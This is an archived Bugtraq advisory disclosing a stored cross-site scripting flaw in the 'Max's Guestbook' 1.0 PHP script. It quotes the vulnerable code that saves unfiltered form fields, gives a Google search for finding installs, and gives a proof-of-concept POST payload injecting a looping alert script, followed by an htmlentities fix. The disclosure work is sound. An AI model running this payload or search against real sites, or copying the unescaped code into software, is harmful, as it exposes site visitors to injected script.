Nmap Security Scanner
*Intro
*Ref Guide
*Install Guide
*Download
*Changelog
*Book
*Docs
Security Lists
*Nmap Hackers
*Nmap Dev
*Bugtraq
*Full Disclosure
*Pen Test
*Basics
*More
Security Tools
*Pass crackers
*Sniffers
*Vuln Scanners
*Web scanners
*Wireless
*Exploitation
*Packet crafters
*More
Site News
Site Search:
Exploit World
Advertising
About/Contact
Credits
Sponsors:




bugtraq logo Bugtraq mailing list archives

Max's Guestbook (XSS) Remote Vulnerability
From: 08253 () maurickcollege nl
Date: 10 Dec 2008 20:29:05 -0000

%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%% 
%% 
%% Discovered by: GTADarkDude
%% Disconvered on: 10 December 2008
%% Name: Max's Guestbook
%% Version: 1.0
%% URL: http://www.phpf1.com/product/php-guestbook-script.html
%% URL2: http://www.hotscripts.com/Detailed/78571.html
%% Google Search: intitle:"Max's Guestbook" powered-by-PHP-F1
%% 
%% 
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%


*** File ***

maxGuestbook.class


*** Vulnerable Code ***

function insertMessage(){
   $name   = isset($_POST['name']) ? $_POST['name'] : 'Anonymous';
   $email  = isset($_POST['email']) ? $_POST['email'] : '';
   $submitDate  = date($this->dateFormat);
   $content = isset($_POST['message']) ? $_POST['message'] : '';
   //(...)
   $f = fopen($this->messageDir.DIRECTORY_SEPARATOR.$filename.".txt","w+");         
   fwrite($f,$name."\n");
   fwrite($f,$email."\n");
   fwrite($f,$submitDate."\n");
   fwrite($f,$content."\n");
   fclose($f);
}

*** Exploit ***

$_POST['name'], $_POST['email'] AND $_POST['message'] are each not filtered whatsoever. 
Not when inserted [insertMessage()], nor when displayed [displayGuestbook($page)] -> XSS!

POST DATA: name=<script>while(1) alert(1337)</script>; message=qwertyuiop


*** Solution ***

Easy, simply filter all the $_POST and $_GET variables, for example by using htmlentities($var,ENT_QUOTES)


  By Date           By Thread  

Current thread:
  • Max's Guestbook (XSS) Remote Vulnerability 08253 (Dec 10)
[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]